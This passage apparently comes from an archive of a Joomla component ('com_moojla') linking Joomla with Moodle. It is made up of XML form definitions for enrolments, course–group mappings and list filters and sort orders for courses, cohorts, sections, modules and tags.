name="course_group"
label="COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_COURSE_GROUP_DESCRIPTION"
class="list_class"
button="true" />
<!-- Role Field. Type: List. (joomla)-->
<field type="list"
name="role"
label="COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL"
description="COM_MOOJLA_COURSE_GROUP_MAP_ROLE_DESCRIPTION"
class="list_class"
multiple="false"
default="">
<!-- Option Set.-->
<option
value="">COM_MOOJLA_COURSE_GROUP_MAP_SELECT_ROLE</option>
<option
value="5">COM_MOOJLA_COURSE_GROUP_MAP_STUDENT</option>
<option
value="3">COM_MOOJLA_COURSE_GROUP_MAP_TEACHER</option>
<option
value="1">COM_MOOJLA_COURSE_GROUP_MAP_MANAGER</option>
</field>
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this course_group_map"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="course_group_map"
/>
</fieldset>
</form>models/forms/enrolment.xml000064400000015252151165724400011714
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_ENROLMENT_CREATED_DATE_LABEL"
description="COM_MOOJLA_ENROLMENT_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_ENROLMENT_CREATED_BY_LABEL"
description="COM_MOOJLA_ENROLMENT_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_ENROLMENT_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_ENROLMENT_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_ENROLMENT_MODIFIED_BY_LABEL"
description="COM_MOOJLA_ENROLMENT_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_ENROLMENT_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_ENROLMENT_VERSION_LABEL"
description="COM_MOOJLA_ENROLMENT_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla enrolment" />
<!-- Dynamic Fields.-->
<!-- Role Field. Type: List. (joomla)-->
<field type="list"
name="role"
label="COM_MOOJLA_ENROLMENT_ROLE_LABEL"
description="COM_MOOJLA_ENROLMENT_ROLE_DESCRIPTION"
class="list_class"
default="0">
<!-- Option Set.-->
<option
value="0">COM_MOOJLA_ENROLMENT_SELECT_AN_OPTION</option>
<option
value="1">COM_MOOJLA_ENROLMENT_MANAGER</option>
<option
value="2">COM_MOOJLA_ENROLMENT_COURSE_CREATOR</option>
<option
value="3">COM_MOOJLA_ENROLMENT_TEACHER</option>
<option
value="4">COM_MOOJLA_ENROLMENT_NONEDITING_TEACHER</option>
<option
value="5">COM_MOOJLA_ENROLMENT_STUDENT</option>
</field>
<!-- Moojlacourse Field. Type: Moojlacourse.
(custom)-->
<field type="moojlacourse"
name="moojlacourse"
label="COM_MOOJLA_ENROLMENT_MOOJLACOURSE_LABEL"
description="COM_MOOJLA_ENROLMENT_MOOJLACOURSE_DESCRIPTION"
message="COM_MOOJLA_ENROLMENT_MOOJLACOURSE_MESSAGE"
class="list_class"
multiple="false"
default=""
button="false" />
<!-- Jid Field. Type: Staffusers. (custom)-->
<field type="staffusers"
name="jid"
label="COM_MOOJLA_ENROLMENT_JID_LABEL"
description="COM_MOOJLA_ENROLMENT_JID_DESCRIPTION"
multiple="false"
required="true"
default=""
hint="COM_MOOJLA_ENROLMENT_JID_HINT" />
<!-- Enrolldate Field. Type: Calendar. (joomla)-->
<field type="calendar"
name="enrolldate"
label="COM_MOOJLA_ENROLMENT_ENROLLDATE_LABEL"
default="NOW"
description="COM_MOOJLA_ENROLMENT_ENROLLDATE_DESCRIPTION"
format="%Y-%m-%d %H:%M"
showtime="true"
todaybutton="true" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this enrolment"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="enrolment"
/>
</fieldset>
</form>models/forms/filter_categories_map.xml000064400000003645151165724400014243
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_CATEGORIES_MAP"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_CATEGORIES_MAP"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.jcatid
ASC">COM_MOOJLA_FILTER_JOOMLA_CATEGORY_ID_ASCENDING</option>
<option value="a.jcatid
DESC">COM_MOOJLA_FILTER_JOOMLA_CATEGORY_ID_DESCENDING</option>
<option value="a.mcatid
ASC">COM_MOOJLA_FILTER_MOODLE_CATEGORY_ID_ASCENDING</option>
<option value="a.mcatid
DESC">COM_MOOJLA_FILTER_MOODLE_CATEGORY_ID_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_cohorts.xml000064400000004001151165724400012725
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_COHORTS"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_COHORTS"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="mcohort"
name="mcohort"
label="COM_MOOJLA_COHORT_MCOHORT_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<field
type="customusergroup"
name="course_group"
label="COM_MOOJLA_COHORT_COURSE_GROUP_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="g.name
ASC">COM_MOOJLA_FILTER_COHORT_ASCENDING</option>
<option value="g.name
DESC">COM_MOOJLA_FILTER_COHORT_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_contents.xml000064400000004145151165724400013112
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_CONTENTS"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_CONTENTS"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="contentsfiltercontentsmoduleid"
name="contents_module_id"
label="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<field
type="contentsfiltermimetype"
name="mimetype"
label="COM_MOOJLA_CONTENT_MIMETYPE_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.contents_module_id
ASC">COM_MOOJLA_FILTER_CONTENTS_MODULE_ID_ASCENDING</option>
<option value="a.contents_module_id
DESC">COM_MOOJLA_FILTER_CONTENTS_MODULE_ID_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_courses.xml000064400000004527151165724400012744
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_COURSES"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_COURSES"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="category"
name="category_id"
label="COM_MOOJLA_COURSE_COURSES_CATEGORIES"
description="JOPTION_FILTER_CATEGORY_DESC"
multiple="true"
class="multipleCategories"
extension="com_moojla.course"
onchange="this.form.submit();"
published="0,1,2"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.shortname
ASC">COM_MOOJLA_FILTER_SHORTNAME_ASCENDING</option>
<option value="a.shortname
DESC">COM_MOOJLA_FILTER_SHORTNAME_DESCENDING</option>
<option value="a.fullname
ASC">COM_MOOJLA_FILTER_FULLNAME_ASCENDING</option>
<option value="a.fullname
DESC">COM_MOOJLA_FILTER_FULLNAME_DESCENDING</option>
<option value="category_title
ASC">COM_MOOJLA_FILTER_COURSES_CATEGORIES_ASCENDING</option>
<option value="category_title
DESC">COM_MOOJLA_FILTER_COURSES_CATEGORIES_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_course_fields_mapper.xml000064400000003432151165724400015445
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_COURSE_FIELDS_MAPPER"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_COURSE_FIELDS_MAPPER"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="accesslevel"
name="access"
label="JFIELD_ACCESS_LABEL"
description="JFIELD_ACCESS_DESC"
multiple="true"
class="multipleAccessLevels"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_course_group_maps.xml000064400000004360151165724400015010
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_COURSE_GROUP_MAPS"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_COURSE_GROUP_MAPS"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="coursegroupmapsfilterrole"
name="role"
label="COM_MOOJLA_COURSE_GROUP_MAP_ROLE_LABEL"
class="multipleCoursegroupmapsfilterrole"
multiple="true"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="g.fullname
ASC">COM_MOOJLA_FILTER_COURSE_ASCENDING</option>
<option value="g.fullname
DESC">COM_MOOJLA_FILTER_COURSE_DESCENDING</option>
<option value="h.title
ASC">COM_MOOJLA_FILTER_COURSE_GROUP_ASCENDING</option>
<option value="h.title
DESC">COM_MOOJLA_FILTER_COURSE_GROUP_DESCENDING</option>
<option value="a.role
ASC">COM_MOOJLA_FILTER_ROLE_ASCENDING</option>
<option value="a.role
DESC">COM_MOOJLA_FILTER_ROLE_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_enrolments.xml000064400000004522151165724400013442
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_ENROLMENTS"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_ENROLMENTS"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="enrolmentsfilterrole"
name="role"
label="COM_MOOJLA_ENROLMENT_ROLE_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.role
ASC">COM_MOOJLA_FILTER_ROLE_ASCENDING</option>
<option value="a.role
DESC">COM_MOOJLA_FILTER_ROLE_DESCENDING</option>
<option value="g.fullname
ASC">COM_MOOJLA_FILTER_COURSE_ASCENDING</option>
<option value="g.fullname
DESC">COM_MOOJLA_FILTER_COURSE_DESCENDING</option>
<option value="h.name
ASC">COM_MOOJLA_FILTER_JOOMLA_USER_ASCENDING</option>
<option value="h.name
DESC">COM_MOOJLA_FILTER_JOOMLA_USER_DESCENDING</option>
<option value="a.enrolldate
ASC">COM_MOOJLA_FILTER_ENROLL_DATE_ASCENDING</option>
<option value="a.enrolldate
DESC">COM_MOOJLA_FILTER_ENROLL_DATE_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_modules.xml000064400000004365151165724400012731
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_MODULES"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_MODULES"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="modulesfiltermodulesectionid"
name="module_section_id"
label="COM_MOOJLA_MODULE_MODULE_SECTION_ID_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<field
type="modulesfiltermodname"
name="modname"
label="COM_MOOJLA_MODULE_MODNAME_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.module_section_id
ASC">COM_MOOJLA_FILTER_MODULE_SECTION_ID_ASCENDING</option>
<option value="a.module_section_id
DESC">COM_MOOJLA_FILTER_MODULE_SECTION_ID_DESCENDING</option>
<option value="a.name
ASC">COM_MOOJLA_FILTER_MODULE_NAME_ASCENDING</option>
<option value="a.name
DESC">COM_MOOJLA_FILTER_MODULE_NAME_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_sections.xml000064400000004270151165724400013103
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_SECTIONS"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_SECTIONS"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="sectionsfiltercourseid"
name="courseid"
label="COM_MOOJLA_SECTION_COURSEID_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.courseid
ASC">COM_MOOJLA_FILTER_COURSEID_ASCENDING</option>
<option value="a.courseid
DESC">COM_MOOJLA_FILTER_COURSEID_DESCENDING</option>
<option value="a.section_id
ASC">COM_MOOJLA_FILTER_SECTION_ID_ASCENDING</option>
<option value="a.section_id
DESC">COM_MOOJLA_FILTER_SECTION_ID_DESCENDING</option>
<option value="a.name
ASC">COM_MOOJLA_FILTER_NAME_ASCENDING</option>
<option value="a.name
DESC">COM_MOOJLA_FILTER_NAME_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_tags.xml000064400000004062151165724400012211
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_TAGS"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_TAGS"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="accesslevel"
name="access"
label="JFIELD_ACCESS_LABEL"
description="JFIELD_ACCESS_DESC"
multiple="true"
class="multipleAccessLevels"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="a.tagid
ASC">COM_MOOJLA_FILTER_TAG_ID_ASCENDING</option>
<option value="a.tagid
DESC">COM_MOOJLA_FILTER_TAG_ID_DESCENDING</option>
<option value="a.tagname
ASC">COM_MOOJLA_FILTER_TAG_NAME_ASCENDING</option>
<option value="a.tagname
DESC">COM_MOOJLA_FILTER_TAG_NAME_DESCENDING</option>
<option value="a.id
ASC">JGRID_HEADING_ID_ASC</option>
<option value="a.id
DESC">JGRID_HEADING_ID_DESC</option>
</field>
<field
name="limit"
type="limitbox"
label="COM_CONTENT_LIST_LIMIT"
description="COM_CONTENT_LIST_LIMIT_DESC"
class="input-mini"
default="25"
onchange="this.form.submit();"
/>
</fields>
</form>models/forms/filter_tag_instances.xml000064400000004623151165724400014100
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fields name="filter">
<field
type="text"
name="search"
inputmode="search"
label="COM_MOOJLA_FILTER_SEARCH"
description="COM_MOOJLA_FILTER_SEARCH_TAG_INSTANCES"
hint="JSEARCH_FILTER"
/>
<field
type="status"
name="published"
label="COM_MOOJLA_FILTER_PUBLISHED"
description="COM_MOOJLA_FILTER_PUBLISHED_TAG_INSTANCES"
onchange="this.form.submit();"
>
<option value="">JOPTION_SELECT_PUBLISHED</option>
</field>
<field
type="accesslevel"
name="access"
label="JFIELD_ACCESS_LABEL"
description="JFIELD_ACCESS_DESC"
multiple="true"
class="multipleAccessLevels"
onchange="this.form.submit();"
/>
<field
type="moojlacourse"
name="moojlacourse"
label="COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<field
type="moodletag"
name="moodletag"
label="COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL"
multiple="false"
onchange="this.form.submit();"
/>
<input type="hidden" name="form_submited"
value="1"/>
</fields>
<fields name="list">
<field
name="fullordering"
type="list"
label="COM_CONTENT_LIST_FULL_ORDERING"
description="COM_CONTENT_LIST_FULL_ORDERING_DESC"
onchange="this.form.submit();"
default="a.id DESC"
validate="options"
>
<option value="">JGLOBAL_SORT_BY</option>
<option value="a.ordering
ASC">JGRID_HEADING_ORDERING_ASC</option>
<option value="a.ordering
DESC">JGRID_HEADING_ORDERING_DESC</option>
<option value="a.published
ASC">JSTATUS_ASC</option>
<option value="a.published
DESC">JSTATUS_DESC</option>
<option value="g.fullname
ASC">COM_MOOJLA_FILTER_COURSE_ASCENDING</option>
<option value="g.fullname
DESC">COM_MOOJLA_FILTER_COURSE_DESCENDING</option>
<option value="h.tagname
ASC">COM_MOOJLA_FILTER_MOODLETAG_ASCENDING</option>
<option value="h.tagname
